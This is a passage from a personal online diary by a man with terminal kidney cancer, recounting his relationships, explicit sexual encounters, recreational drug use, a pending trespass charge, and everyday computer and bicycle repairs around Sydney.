+her not to be happy about shagging and guilt-trip her into doing it. Ah, +it's OK, she knows that one of the advantages of nonmonogamy is that we +can all get shags elsewhere, but I sorta, I dunno, I'm starting to lower +the shields a bit, which I had to put up when she skipped Oz a couple of +years ago, and feel a bit more exposed. I wasn't especially cool with it, +until she clued me into why she was making the request. + +-- + +Joss is back. Joss is back. It keeps rattlin' around my head. I know that +other people will be walking around with Joss is Gone rattling around in +their heads. I remember what that soundtrack. It sucks. England will be +resonating with it. + +I had faint suspicions she'd come back but I really didn't know. I sorta +hung onto them the way people hang onto a broken thing they don't know how +to fix, and which maybe nobody knows how to fix, but upon which they +can't bear to relinquish their grip. + +But she did come back to Oz. Apparently, at least partly for me. I am +feeling pretty humbled by this, ya know, I wouldn't go OS for anyone, +including even for myself, even to save my own life. So ok, I'm cool with +it now, really. + +I've asked Joss some pretty ugly questions. Like, did she want to feel the +lump in my neck (and her fingers recoiled from it when I put them upon +it). Like, does she have the guts to watch me die? I didn't have the guts +to ask her, or to impose on her, the wish that she be around when I'm +really about to hit the end. She's seen the slash now and I think it's +sunk in a bit more. + +"Isolation, rows and rows of cars, + Isolation like, Jupiter and Mars + Staring faces, set in celluloid, + Welcome to the late show - starring Null and Void. + Complications. Things get in the way. + Sweet sensation, of knowing you are near and not too far. + You and I, You and I, You and I + Arrow through your heart + Catch a star. + +-Men At Work (Business as Usual, 1981) + +{Diamond never wrote very much about how his wife Nigella was handling his +impending death. I don't have a wife and nor does the concept appeal. But +oh, I dunno. As far as other people go in my life, she's pretty +significant. Maybe they had lots of conversations about his disease +progression but they were too raw to go in the book.} + +It's messing her up more than it's messing me up, which is maybe because, +here, in my it-feels-normal body, thoughts running on a neural net +momentarily camped in the metabolic eye of the onco-illogical storm, is +able to delude itself about the severity of the maelstrom building up a +few membranes away. Taking Orson Wells entirely out of his War of the +Worlds context - everything seems so serene and tranquil. We were in the +Powerhouse museum and had spent a few hours rubberneckin' at fuckin' huge +centuries-old steam engines, trains, aircraft, pottery, adverts for the +Literary Machine, ancient bellemnoid fossils in the wall tiles, and +suchlike and I found her standing tearfully amongst the exhibit. She +didn't want to look at me. She was kissing me a lot. She feels this pain +throughout her, it radiates from her chest and perfuses her arms and legs. +I dunno if she deliberately chooses my left collarbone, like she's trying +to kiss me better. She'd watched me disappear out the end of a corridor +and had this flash, she said, about me leaving and her being alone. Read: +without me. Ok. But she'll never be alone. That doesn't mean I'm gonna +haunt her, cos I am not gonna be a ghost, since there's no such option and +that's sort of stalking anyway. No, I just mean, she's a cool, interesting +woman of considerable depth and complexity and these things are attractive +human characteristics, so she'll never be alone, really. I'm not the only +crazy fish in the sea. + +I don't know what to make of her telling me she won't leave, since the +freedom to leave is one of the things which makes our relationship so +_visceral_ - nobody's chained down so people hang around ONLY because they +like to be there. When she decided to go OS I didn't try and stop her tho +it hurt like hell to know she might not ever come back. It was tolerable +because I thought she might, might, just maybe, come back, but then it +occurred to me that I would run away. To protect myself from being +reminded of her disappearance outta my life. Turns out, in some senses, I +am running away, but she's not even gonna have the comforting luxury of +holding onto the idea that I'm ever gonna come back to her. I feel like a +prick, in some ways, even if I'm blameless for the impending absence I'm +gonna cause. I can't really help being dead soon, medical blades drugs and +nukings notwithstanding. Soon is a relative and treacherous term. + +Arr, hugs are reassuring but they can't fix this. Oncology aside, +everything else is inexorably going to shit too. I was standing with Joss +in the hall where the turbines used to be, where the mighty cylinders, +pistons, boilers, of Newcombe and Boulton/Watt engines, rotors and stator +armatures of Parsons generators, and all the rest of the exhibits, lay +silent, frozen iron at the end of its working life, and caught myself +thinking, so how are people gonna start these things again in the future +when all the easy coal has been won, when all the cheap oil has gone? +Here's the scoop, fresh off the icy presses of thermodynamics - they +ain't. That some of the exhibits were broken was kind of ironic. I often +get that feeling in museums and it follows me outside and I look at the +cars and the buildings and the people and everything else and imagine it +dead, fuel gone, lacking any of that cheap energy which enables them to do +what they do. + +We left the Museum. En route we dropped in at Toad Hall and Joss +photocopied the bit of my charge sheet that says: + +"Prisoner states that he has renal clear cell metastatic carcinoma and + believes he has only 1-2 years to live." + +(they took a long time to spell that correctly) She's blu-tacked it to her +bedroom wall. + +"Are you recieving treatment?" [N] + +I remember the cops on the desk asking why not and my telling 'em it +doesn't matter a rat's arse what I do. Just another day of disasters and +ruined lives in cop-land, I guess. + + + +Prisoner. Yeah man. I can laugh at that word 'cos it's really ironic to be +on death's row anyway regardless of what the dude in the magisterial wig +hands down on April 8th. + +And it doesn't matter what I believe. + +We dropped around to Soph's place in Enmore, where some acquaintances of +mine, monopod Cremmo and James and Pig are living while their landlord +decides wether or not to demolish their house. The crew had a good giggle +at my charge sheet. I hadda go off back to Blakehurst for dinner, and +before I'd togged back up in me leathers'n'shit Joss breathed into my ear +that she'd like to take me to bed... this not twelve hours after she told +me she'd prefer that we didn't shag for a while. I can't figure it out. I +put it down to Hungerford's Second Law. Heh. Within a couple of hours of +piss'n'porn she was putting the moves on Cremmo (the name doesn't sit +easily, he's certainly not the yobbo ocker the abbreviation implies) and +by weekend she'd jumped his ... well, I don't know exactly what. She isn't +sure if Cremmo'd be happy for me to know yet. She told me this over the +fone and I am proud that she feels comfortable enough to do so. As for her +shagging someone other than me, I love it and I'm thrilled for both of +'em. Catchin' up for lost time, go go go girrrl! If I was in the room I'd +probably be too busy cheerin' her on to join in. + +I chewed up friday morning in a haze of paperwork re-registering the +'cycle. Bollocks. Roughly $1/day for a year and most of it's insurance and +tax. + + +I spent most of the fri arvo and the next day at Joss' place. + +Since you're used to my mentioning it and expect me to tell you, yes, she +did. A few times. It was magnificently grrrreat. A bit new and weird too. +I taught her how to do some knots (fisherman's, prussik loops, knots in +layflat tape, and a gratuitously useless but decorative knot called the +Bannister knot which looks similar to the DNA double helix which is why I +learned, incidentally on the night I met Joss, how to tie it) and later +she *didn't* tie me up ;) You weren't expecting that were you? Oh well, I +relate... nor was I expecting to learn the truth of the old joke about you +only being a membrane away from a pound of shit when you're shagging. +Three membranes actually, one of them biological, two of them synthetic +polyisoprene a few microns thick. I ever so gently impaled her on my +thumb (thumbs are heavier boned than fingers, giving better support of +structural loads, I am kind of protective of my fingers) and watched her +thrash additionally as it moved against her arsehole. And now I know what +my knob feels like through someone's anterior rectal wall as I move my +cock in their cunt - which is a pretty odd thing to know, I think. All +this delightful perversion aside, the best invisible things about Joss are +her brains and her vocal cords, and what comes off them when she speaks. +She sings very well. It is very amusing to me when someone capable of such +considered replies, precise articulation and beautiful sentence structure +as she is, resorts to a gasp of Oh FUCK! Me, I get about half way through +mentioning that I'm gonna come before I get a stupid expression on my mug +and can't speak anymore. Something tells me learning Auslan to communicate +this with sign language isn't gonna help solve this moment of scrambled +speech particularly well if my thumb's out of sight up someone else's +arse. Maybe this is nature's way of telling me to shut the fuck up for +once in my life and just experience the moment. + +"Animals will be animals." - Sophie + +"The animals were animals. Sophie was correct." - pred to Sophie later. + +I've spent a lot of time associating the smell of latex glove powder with +microbiology procedures... ethidium-bromide electrophoresis, polymerase +chain reaction, etc etc. It's never gonna remind me of that again. + + +Friday night I got the fuck-off-I'm-dying-and-you-treat-me-like-shit email +from Zyn which I was sort of half-expecting. She's right and I am pretty +remorseful about it. I have spread myself too thinly. I didn't expect her +to fall in love with me. I mean, having read all this stuff, ya wouldn't, +would ya? + +On sat evening I dropped in on Smokering and he and I tossed around the +idea that there must be a stack o' dudes like he and I who are potentially +as dangerous as hell - 'poota geekin' gun-nut anarcho freaks who know how +to make bioweapons (if you ever drank my homebrew you'd know what I meant, +tho Wolfie has swilled this brew and lived to tell the tale) and screw +around with the 'net and fuck up critical infrastructure but just happen +to not be mentally predisposed to be such antisocial pests. And this stack +of dudes must drive the authorities wild precisely _because_ we don't do +anything which might provide them with a reason to exist. They seem not to +have discovered we're too disorganised to get out of bed most days, which +is why we love having the 'net so we can work from our rumpled, stained +mattresses. + +Later Sat night, Mek's router has shat out, I suspect 'cos their linux +dude (Bear?) to whom I gave root access doesn't quite know what he's doing +with it (e-smith is a bit unusual). So I rebuilt it in another chassis. +Mega-body-piercer David mentioned, after falling asleep watching me +rebuild the router, that he got a message from two-i's Liisa that I should +come up to Lismore and say hi. Whoooa. She doesn't read minds, Matt musta +leaked the conversation to her. I'd imagine she's scoping me out for the +provision of a load of code with which to invoke a rug rat. Hey Matt, does +that make you a sperm broker? Aren't there laws against that sort of +thing? + +This is far more of an acid test than perhaps you reading this rant might +realise. The only circumstances in which I'd invoke a rugrat is if I could +escape responsibility for its upbringing... maybe, in one kind of future, +the eyeballs pointed at this sentence will be those of you, my child, made +real through an act of data transmission from one consenting human to +another, though you're hypothetical as I write this. I have geared my +whole life around this donate'n'run strategem and have donated code +anonymously, previously, to who-the-hell-knows. Yeah I know that the +planet's way overstuffed. Yeah I know that the resources are running out +and no the world doesn't need another overworked underpaid single mother +with a child who won't have a dad. Well, kid. Make the best you can of +things now. Things are gonna get a fuckofalot harder in the future than I +had it. Get used to death. There's gonna be a lot more of it. + +The worst time to get married is when you're in the fog of love and can't +see anything clearly. The worst time to reproduce is when you're not gonna +be around to help the rugrats grow up. Or maybe it isn't. I dunno. She's +up in Lismore, someplace. It's a 14 hour ride on a 'cycle and usually +takes me a day to recover from the physical punishment of being hammered +by potholes all the way up the bituminous goattrack that is the Pacific +Hwy. She'd like me to come up at the end of the month. Do you need proof +that I really think I'm convinced I'm dying? Watch this space for news of +Liisa's impregnation and then you'll know I'm convinced. But still, maybe +I won't. Or I will and I won't tell you. For all sorts of other reasons. +Like unbeknowst to me at this stage I don't know if the appearance of a +rugrat at this stage of my life would totally rejig my priorities and make +me move up there to be with the tot, watch it be born and grow up for a +while, while I get ready to die. Hey, that'd take care of the population +thing, it gets born, I die, total number unchanged. Unless I didn't die. +Nah. I think I can rely on the universe to be as merciless to planned +orphans as it is to their soon to be absent putative fathers. + +I think there's gotta be a looong chat before the decision is made. I've +met her oldies, they're OK actually. I'd put them in the loop too if Liisa +asked me to. But I'd keep my mum out of it. I find her such a poisonous +influence that I would go to considerable lengths to keep her nose out of +the rugrat's life. + +Joss reckons she'd like there to be a little me running around on the +planet after I am gone. I am sort of touched. Alive or dead - if my +tendancy for misanthropy is genetically inherited, it'll hate me anway. +Whadda I got to lose? + +(Hey, kid, if you ever exist and get to read this - I understand if you +have the shits with my absence. In a lot of ways, so do I.) + +Arrrgh. My last planned trip down to the Clannies in Melbourne (to see Ed +and the Melbourne Museum too) happens to occur on the same day as Tee and +Raffo's wedding, arrrshit! I can't believe it, there's *always* something +else on when the Clannies are on. AGAIN! Ar, fuck it. I'm riding to Melbo +and goin' to the drain party and saying goodbye to all my old drain +exploring acquaintances and fellow criminal trespassing miscreants, and +Ed, my old programming buddy who punched code for an old 1950's +valve-driven computer I want to see, which is in the museum. 10 hours and +I'll be there. No sweat. Sorry Raffo. See how many speeding tickets I can +clock up on one trip. + +I feel my neck every so often, unconsciously. I catch myself at it +sometimes. Like now, 1:13 Monday 22 March. I get paranoid that Bill the +Metastasis has decapsulated and is spreadding tendrils throughout my neck, +with the intention of strangling my brain. Sorta like the taeleodactyl +facehugger from Alien. I hope my fingers are lying. Hokay, it was late Nov +when I got chopped open, so its been four months now. I am 1/6th of the +way through the window of time in which I have an eighty percent +probability of becoming dead. Last time I calculated this was four weeks +ago, three months post-slashorama, and I was 1/8th of the way through the +window of time. Decrement (subtract one from) the denominator (the number +on the bottom). + +1/4 of the way through in another two months. (6 months of 24) +1/3 of the way through in another four months (8 months of 24) +1/2 way through in Nov 2004 + +...when you can't decrement any more without making it to unity, chop it +up finer and repeat... they do the same with screwthreads. Chop it up +finer. + + +13/24ths of the way through my 80%-probably-dead window, by the time the +letter Joss sent me with the John Diamond texts becomes correctly dated. +It was 23 Dec 2003 when she signed it 23 Dec 2004. I will be very happy if +I live to see the calendar on that day. + +--- + +Tuesday. Um. Shit. What day is it again. It's wednesday now as I slap the +keys. I get day-frame drag. I think I wandered around the NSW art gallery +with Joss but she was pretty knackered from a few late nights of gettin' +pissed shagged and stoned and so on. It might be indulgent of me to +suggest she's doing this load-o-sex-n-drugz just now to deal with the +emotional earthquakes. She's just left her hubby and changed country of +address, which are both pretty stressful things. If I'd done that, I'd get +wasted too. I know hugs are futile in the face of the future but for now +they work pretty well, and I'm happy for everyone to get whatever hugs +they might from whomever is prepared to give them. + +Then again, maybe she just likes gettin' stoned and rat-arsed fer the +helluvit from time to time. Cool. Rip in girlie! + +Joss lay down on a spotlit couch in one of the gallery rooms, and looked +like part of another exhibit, late 20thC, which the curators had +deliberately left there. + +Wandering around the exhibit of art from the several Chinese dynasties I +felt for a moment that this stuff, from a culture several thousand years +old, might be the sort of stuff made in the future after the cheap oil is +gone. Ceramics, silks, carved wood. What struck me was not the artwork so +much but that there was such a materials difference. Outside the glass +(toughened, laminated) was the museum, with its polymer floors, electric +lights, smelted, electroplated metal bench frames, halocarbon air +conditioning, mobile phones, public address systems. Inside the glass sat +these *ancient* things. Silk... we only found out what it was, at a +molecular level, in the last 30 years. Glazes, I am not aware of the +Chinese having a periodic table to describe the metal oxides they painted +on their things. Old, old stuff. Beautifully hand-made. Fundamentally +primitive but ya gotta hand it to woven silk as a durable high-res data +storage medium. + +We snogged a bit on the grass adjacent to the Cockle Bay wharf and +chatted. I can't spend the time required to write down what we chatted +about, here, and maybe if I could I wouldn't anyhow. I do like being with +Joss, we have good chats about heavy shit. It was tricky to get back to +the 'cycle 'cos the footpaths are sort of fucked about by a freeway +entrance, and as we walked I said I felt a smidge scared about her other +involvements since one of the last ones led her away from me for three +years. But I shouldn't let my fears stop her living her life, I think. I +dunno how I can write that sentence with the contextual backdrop for this +whole series of rants and keep a straight face. I am scared I am gonna die +and it IS at least partly fuckin' her life up. Ok, so you can't really +catch cancer - it's not a sexually transmitted disease (note: there are +sexually transmitted viral oncogenes, such as those in HPV, but cervical +cancer isn't transmissible itself even though its causative agent is) - +but like all of the fatal diseases which take a long time and rot you +hollow from the inside out, other people catch the ennui and fear, you +start to seep it into your surroundings, somehow, and even if ya don't +reek of the ammoniacal vapours characteristic of the nitrogen-lossy +metabolisms of the very old, they somehow _catch the vibe_ of impending +death anyway. + +We slept in the separate bunks which used to be in Jude's room. I listened +to some Goldfrapp earlier, grindy synth and silky, searing vocals, a gift +to her from Pat, her sly shag in the UK. From whom she has now distanced +herself by about fifteen thousand k's, partly to be here with your +author, Mr Carkin-it. I often have bits of music pop out of my deep memory +into my live running consciousness and I suspect this album, Black Cherry, +will become the music which I remember Joss' return by... I took the case +home so I could rip it down to a fresh blank, and I forgot to put the +damned CD in the case first. Copyright infringement will have to wait. Is +the acquisition of a backing track to one's final months covered by Fair +Use? Sorry Alison, Sorry Will. + +It transpires that Joss's mum is gutzin 200 mikes of Se/cysteine a day. +That's four times what I'm chucking down my neck and she isn't dying +(though this relationship is unlikely to be causative). She doesn't call +millionths of a gram _mikes_ either, like bored microbiologists and lapsed +chemists such as m'self tend to. She calls 'em something so alien-sounding +emceegees or something that sounds like the abbreviation for the cricket +ground in Melbourne. Her hope that I might not cark it is insidiously +infectious and I think based on ignorance of how tumors work. But maybe +she knows something I don't, I think to myself. She's popped out words +which I've never heard. And has probably not said everything she knows +about cancer anyway. She's seen a fuckofalot more than I have. + +Ya know, it just dawned on me why a kid's perspective on things is so +different from an adult's. Kids have to live in a lot more future than +adults do. So adults live like kids and kids try to live like adults. +The dying live like there's no tomorrow because there might not be and the +living die slowly, aware of only a barely perceptible sagging, wrinkling, +fogginess of eye and dimming of wit, which they will have to endure for +another several years, at least. + + +Oh. Yeah. Today. I started Tuesday at cat.org.au provisioning (I did not +say `enterprise resource planning' which is IT-management-wankspeak for +`getting enough tech shit together to do what you need'), gathering parts +for the new server I'm building to replace Conway. It was late so I snuck +in to sleep in the cot with cookie manufacturer, and we shagged a happy +shag, and she's feeling a bit neglected too. She's considering jumpin' +another cat geek which I'm happy about but we both know she'd be dancing +in a minefield in the place into which she intends to jump. Arr. I slung +out to Randwick and 91-year-old Mary was very impressed that I'm gonna go +to court in a couple of weeks. She keeps falling over in the bathroom - +which is the room with the biggest number of hard smooth surfaces onto +which one can fall and hurt oneself. I suggested maybe the dudes who run +her death camp... er, nursing home... could perhaps install some neoprene +padding on the surfaces where she catches her head on the way down. I +think her gyro's busted and ain't gonna fix itself anytime soon so they +might as well pad the cell a bit. + +Zyn had the claws out. Usual questions from the wounded, the convinced of +being spurned, dumped. Do you love me? When I told her I couldn't, and I +told her she was a hell of a lot of work and yeah I had spread myself too +thinly, she kept asking for a binary answer. I'm thinking, to myself, even +the detectives didn't want to pull my teeth out this hard, I want to use +an answer which will free me of this interrogation so I eventually told +her, no, which was partly a lie. She took it pretty well, considering. +Love's one of those things which, I think, if you feel you _have to ask_ +about its possible absence, in the asking signifies you're never gonna +accept any other answer than the one which confirms your fears that it has +indeed gone. And if you ask it enough, it will fulfill your expectations +of its absence. But how's she gonna know that? + +Amazingly she's still hot for a shag anyway. Oh well. Whaddya get when you +put two dying people together? Either sex or despair that they can't have +sex or didn't have sex. Nature of the animal, I think. She ripped me a CD +full of Bowie's greatest hits and I tried to play 'em this evening and +they're ghastly, aliasing errors and quantization noise all over 'em, from +the conversion back from lossy .mp3 files, I think. It was a present. She +threw it at me. I've had to tell her it was completely unlistenably +fucked. + + +My woo-hoo legal advice, in the form of Death's-Head-Lou (I squatted with +her a long time ago in Annandale, an act which, interestingly, would bust +me on the same charge as I face now) has appeared in my massive pile of +daily penis-enlargement email (I have gotta sit down and fix the +spamfilter config sometime), and they're thinking about how to get me a +`proved but no conviction' (Sec 556a, Sentencing Act). I have to prove +impoverishment so I can get legal aid... I have often wondered how to wave +fistfulls of money I don't have under the nose of people who will believe +it to be there nevertheless. + +----- + +Wed morning, 24th march. I'm writing this stuff and mum comes in and +starts to peer at the screen, asking me what this stuff is, so I shut the +terminal down. I hate it when people come and peer at the stuff I'm +writing. Then she claimed she couldn't see. Grrr. + +The bike shop owner, with whom I have some rather raunchy conversation (he +serves, as local mech, the same function to blokes in this district as +hairdressers do for the ladies) wonders how I can be shagging five women. +Not in parallel, I told him. Zyn sent me an SMS that arvo saying that no, +we wouldn't get up to anything on thursday night. Do you hear the faint +sound of a cardiac muscle hitting a slab someplace? Yes. But only very +faintly. + +Yer only as good as yer fans. I think these rants are being read by more +people than I know about. Some of them are being read by people who are in +my life and it's modifying what they're prepared to say/do around me 'cos +they don't want it captured in the document. Bits and pieces leak back. +Arrr, the perennial problem of audience/actor separation. As you gaze into +the 'net so it gazes into you... I have some idea who some of you are from +the IP numbers to which apache serves the files when you request them but +don't know all of them. If you're in my life and read this and want some +stuff not mentioned in the future just yell and I'll button my keyboard. +Watch a play and you become part of it, and it becomes part of you. + +-------- + +Thurs. 25th. + +Wed night I went to STUCCO to drop off the other half of the proposed +wireless link, then out to the old Waverley headquarters of the SES to +discuss rejuvenation of the disused Waterloo incinerator with legendary +architecture guru Col James and a bunch of artists and architecture +students who plan to live in the old, grey building (they've got a long, +long road to hoe with the council but it'd be really good to do if the +contamination isn't too bad) and later on out to Death's-Head Lou's +place... where I was fed, plied with tea and clued into how to deal with +the legal crap I face in a couple of weeks. Ya gotta love that. Ok, so we +plead guilty, the main thing is what sentence do we get, and how to +mitigate it. She's suggested that we might try for a section 10a dismissal +of the charge under the Crimes (sentencing procedures) Act 1999, and that +to do this Purple Death Faerie and I have to write some CVs and get some +character references. Lou wrote me something amazingly laudatory and sort +of spooky - it's the first time I've read about me from the outside world. +It's odd being called to account for how one lives one's life, by a bunch +o' people who wear funny wigs and gowns and stuff. + +Friday I popped over to XML's place and we shagged delightful, +bloodsmeared shaggery while Knoppix3.2 installed itself on top of what +used to be the Windows98 partition... another tiny, tiny nail in +Microsoft's coffin, another user freed. Of course it found all the +hardware. She offloaded an ol' Pent-233MMX on me, which happily turned out +to work well enought to pass on immediately to Jude, whose machine is +keyboard-deaf. I took it 'round to toad hall, rode over the Glebe Island +Bridge with gleeful pleasure in the blue sky and glaring sun, cannibalised +the good bits off the dead one and put 'em in the working machine, and +started it up. Jude's slapped Debian 2.3 on it. I met up with Joss at +Gigglebyte at about 9, and bumped into Arno' who is well enmeshed in the +machine, at Canon; using his physical optics stuff which is good, but it +sounds, sadly, like he has no time to have fun any more. 8-( I saw lots of +people I'd not seen for some time... MrY with his nag co-efficient +somewhat reduced, Oppy (bless him, he didn't smoke near me!), Safa, Leah. +Joss caught up with some people who she hadn't seen for years either +(Leah, JJ) and also met the cookie manufacturer, though I wasn't watching +while this was happening. + +We rode out to the teenage goth party at Enmore and, feelin' old and +boring, I kinda planted myself in a couch up the back someplace and +swilled light beer since I was expecting to ride the 'cycle back to the +parental pad (they'd nicked off the Victoria and left me to mind the dog). +The band (recycling rock'n'roll riffs) played on till 1am, the cops came +and told 'em they'd be fined two hundred bucks (this is uh, two penalty +units). James said we should pass the hat around, five bucks each from +forty people, easy. I didn't wanna get stoned either and most of the rooms +where people were gathered were thick with smoke. I ranted to Meg for a +while and I ended up half-asleep on a couch and eventually slept in +Cremmo's bed. I woke up at about 4am when Cremmo's jackhammer-grade +snoring really kicked in and I finally got up, stepped over Joss's +sleeping form (also snoring a bit) and Cremmo's cat (purr, purr, purrrrr, +perched on top of Joss, I now know what a purr modulated onto a snore +sounds like, and it's rather odd frankly) and across Cremmo's body as it +resonated to the music of his resonating turbinate bones, and crashed back +on the couch again, in the grey dawn light, after the quad turbofans of a +6:30am flight howled at us in their screechy avgas accent as they +crop-dusted us with an aerosol of half-burnt kerosene during final +approach to Mos Eisley. Soph asked me what I felt when I saw Joss with +another man and I sorta felt like I dodged the question a bit when I +answered that since I like her, it doesn't surprise me at all that other +men like her too. Joss knows of my fears that she will disappear again but +she also knows I don't want her to feel tied down to me. I think that her +shagging other people takes her shags away from me but I've got plenty so +I have no cause to complain. When Joss and I eventually returned to the +abandoned parental pad we were both stuffed, she slept but I'd been +awakened already so did some metalwork, walked the dog and discovered I +hadn't enrolled to vote in the local council election circuses. Later I +accidentally beat myself in the face with a horsewhip. It takes real +talent to be this unco-ordinated. Ow. + +I fried up some eggs and mushrooms with rosemary and pepper and we gutzed +'em with plunged coffee over the SMH (olympic swimmer falls into pool... +oh, puhleeeze, honestly, who the fuck cares about that and what subtle +brain damage do they have?). We wandered around the bush tracks of my +adolescent exploration phase on saturday arvo, went down to Carss Park, +scaled the venerable fig, in the boughs of which I have sometimes sat and +prayed to gods who didn't even do me the courtesy of existing (for which, +of course, being nonexistant, they cannot be blamed). The tree has sat +there for decades gazing out on Kogarah Bay, gradually forcing its roots +down deep into the sandstone crag upon which it sits, windswept. Only in +recent years have I learnt what members of its species had to tell me +about life and how it works. There it sits, harvesting photons and air and +water and synthesising complex molecules with which to fabricate more of +itself, oblivious of what I think I know about it. People carve their +initials in it and it drowns the carvings in more bark. I love to look at +the starry night obscured by its fractally splattered foliage. The tree +will outlast me as it has thousands of others who never took the time to +sit in its branches with their beloveds, and will gaze uncaringly upon the +Princes Hwy when the sodium lamps on Tom Ugly's go out and the oilstained +concrete lanes finally fall silent and the remaining birdlife is finally +audible again. + +We bumped into a previous neighbor of mine (his family dog is our family +dog's brother) and had a quick chat... he's getting married. I noticed +something later, sort of odd, I think about the compressed version of my +life I fed him. 1) I didn't mention I was dying and 2) the rest of the +stuff going on in my excuse for a life seemed strangely mundane and +uninteresting by comparison. The more life I stuff into my days the less +believable dying becomes and the bigger a fuckin' nuisance it will be. I +am sick of thinking about it. + +Back in the premises Joss whipped something yummie up from some spuds and +tomatos and onions and we ate it sitting on the kitchen floor, raided the +leftover hash cookies and swilled'em down with some Shiraz and snogged, I +couldn't quite tell if the expression on her face was somehow tinged with +the barest hint of sadness, maybe I'm reading it in there, and gleefully +fucked, candlelit, to Goldfrapp cranked up fairly loud. I felt a bit like +a barnacle, clinging on tightly to ride out the storm above, she smashes +herself against my bony corners and bruises me where it isn't visible and +we eventually curled up against each other in a bedframe made of +fenceposts and offcut tree branches on a mattress designed to fit 1.5 +people. The fleabitten doggie whined outside. I dunno what it is but I +didn't feel quite the searing bliss of our first encounters, and I suspect +it's my self-defense stuff at work. It is ingrained into my head that what +happened last time we were here was that she walked out of my life a week +later. Whinge whinge whinge. + +[Goldfrapp is quite brilliant. If you liked all the instruments plugged in +by people like Jonah Lewie and Gary Numan and Depeche Mode in the 1980s, +and whatever waveforms fell out of Fairlights and Moogs and Arp Quadras +and other such ancient superpositional massagers of the basic sinewave, go +get Black Cherry and listen to it on a good hi-fi. The best instrument, of +the lot of 'em, and sadly irreproducible in mass quantities, is stuck in +Alison Goldfrapp's neck, just above her trachea. I'm gonna get me'old +electrostatic STAX headphones out and listen to it on those. I've not +heard anything this well produced since ZZTop's Afterburner album. And the +whole thing works well, the songs are in the right sequence, and dovetail +nicely.)] + +It was great to wake up to her face. I slept in anyway. I found her later +in the back yard reading my copy of Milam's Crip Zen on a green blanket on +the grass at the back. I don't remember it exactly but as part of the Joss +hardware empowerment project I acquainted her with a half-dead, bad +tempered, two speed, only-starts-sometimes mains driven 700 watt hammer +drill I found in a drain about 15 years ago, she drilled some practise +holes in random chunks of hardwood and brick, got acquainted with the +chuck key (my drill happens to have two chucks, a small one nested in the +other larger one) and what various kinds of bits look like. I think she's +pondering the possibility of slapping a couple of dynabolts in someplace +now she's learnt, by playing with the bolt and thread on the one I gave +her, how it expands out against the hole in which it is placed. + +No afternoon of tooling is complete without some sex toy repair, so she +and I did a rebuild on her butyl rubber whip/dildo (now held together with +nylon cable ties, PVC inner reinforcing and a metal washer to stop the +whip coming out of the cap end). Satisfied the flogger would flog again we +walked the dog during a mission to acquire some fresh Bay leaves since +we'd run out the day before. It turned out that we couldn't do our email +from the dialup link from robo to diesel, 'cos something about conway, or +was it tarvat, had cacked itself, so we both rode in to Catspace, she +flaked out on the sofa while I waved a (metaphorical) dead cat over +another dead cat (conway.cat). Conway came to life, oddly enough. Ok, so, +all the harddisks in there have cranked up seventeen thousand hours of +spin and seek, none of them are complaining that they're knackered yet tho +one of them has fixed oh, 55 million errors since it was first plugged in. +Amazing what you can hide with hardware error correction. Shame mine +didn't work, all the way down there in the nucleotides of my renal pelvis +where all this crap started. + +Later we both went down to Mek, so she could see the crazy place and so I +had a chance to slap some more RAM in their router, which happens to be +ram-upgrade hostile. Joss was lookin' for a bicycle. David suggested we +scavenge one of the bicycles being discarded from mekanarchy. Joss and I +put an old 26"-wheel mountain-bike ruin in a bench vise, (she's getting +rapidly acquainted with shifting spanners and visegrips and how to use 'em +even on rusted chainring bolts), changed the pedals (she's gettin' the +idea about leverage and why to stick a length of pipe over a short tool) +and were just in the middle of getting the almost rusted solid +chain/derailleur to work again when who should appear but two-i's Liisa. +Her hair's grown again. She does look pretty skinny still. + +I intro'd 'em both to each other. Liisa was gonna depart to Lismore again +and invited me to come up there in May. It occurred to Joss that Liisa +might not even know I'm carking, but I reckon she does. Liisa donated her +old mountain bike to Joss and then ran out of the factory to get ready to +drive to Lismore. Joss changed the tube on the back wheel, blew it up and +the bike was ready to roll. We stashed it at catgeek space and went back +to Chez Parental to get stoned on cookie manufacturer's remaining +hallucinogenic handiwork and wipe out the rest of the chardonnay I'd +nicked from a neglected corner of the 'fridge. Joss dances well to +Goldfrapp, it is rather dance-provoking in some parts of the album. +There's a yummie looped caterpillary sequence floating above the bass +track in the first song (Crystal Green), starting on the 11th bar, which +appears to be made of notes 1/16th of a bar long, and with freq on the +vertical looks something like this: + _ _ +_ ____-___ ____ __ + - + +It has infected my acoustic memory and is looping in my head now. + +We nicked off early Monday after forensic analysis of the place to avoid +the usual questioning from me ol' mum about who was here and doing what. +Before I went, on the ol' 10MHz CRO, I showed Joss the 100Hz waveform I +plugged into myself a couple of years ago. It feels a fuckofalot better +than it looks, glowing green on the 'scope graticule. She ain't gonna read +the article completely, I think. At some stage on the weekend she looked +at me and said it again, "I don't want you to die." I think I said +something about my not doing requests. Really, what the fuck _can_ I do? +Poor thing's stressing to bits and I don't want this sickness of mine to +provoke any pointless self-destructiveness in her. She doesn't care if +it's bad for her, gettin' ripped and pissed to make the pain of things +generally go away, and I'm not the only person she has to be upset about. +I'm prolly not going to live long enough to see her reach my current age +and I'd be immensely sad if this happened to be true 'cos she drowned +herself in the overproof ocean of a DIY cirrhosis kit, and not because of +the unpreventable foregone conclusion cruisin' around in my lymph. + + +I pulled Liisa's old mountain bike apart (why didnt the dude who invented +Quick Release axles get a nobel prize?), roped it to my pack and dropped +it over at Toad Hall on monday arvo. All normal motorcycle couriers are +wusses. + +I was thinkin' about Raffo'n'Tee's wedding, or more accurately, my +decision not to attend it. I hope they're not gonna be offended too much. +There's other stuff going on in my head. I don't wanna show up there and +mention to all the people who will be there and whom I havent seen for +years, when they ask me how I'm going, that I am slowly falling victim to +an insidious bioweapon of my own creation... not that I think weddings, +marriage or any of that stuff are an especially good idea but I just don't +wanna cast the pall of death over their day, which will be enough of a +stress already with (plagiarising from Wolfie here) frothing wedding +nazis, and the usual logistical bullshit which accompanies weddings. + +Anyway, yeah, I'm almost ashamed to say it (probably that's an artefact of +the upcoming court thing) but I like to go in drains and I'm doing what I +like these days. The Clan's played a bigger part in my life than the two +newlyweds have, oddly enough, and I haven't been to Melbourne for quite a +while. And oh, there's a bit of me which is highly aversive to enforced +good cheer such as accompanies weddings, christmas, and other such excuses +to be cheerful. The Clannies is not enforced good cheer at all. Fuck good +sentence structure, it's the how-ya-going-ya-old-fat-bastard gathering of +fourscore pissed criminal trespassers of various levels of ineptitude or +professionalism, two busloads of yelling yobs worth of flash-boiled +delirium, a condensate of crowbars and bolt cutters and manhole keys +forged in backyard sheds, the partygoers variously rained upon by showers +of beer and broken glass and breathing in other people's unavoidable bong +exhaust, the whole thing held in a vast subterranean concrete chamber +backlit by burning Otto garbage bins melting on lit pyres of decomissioned +Chep 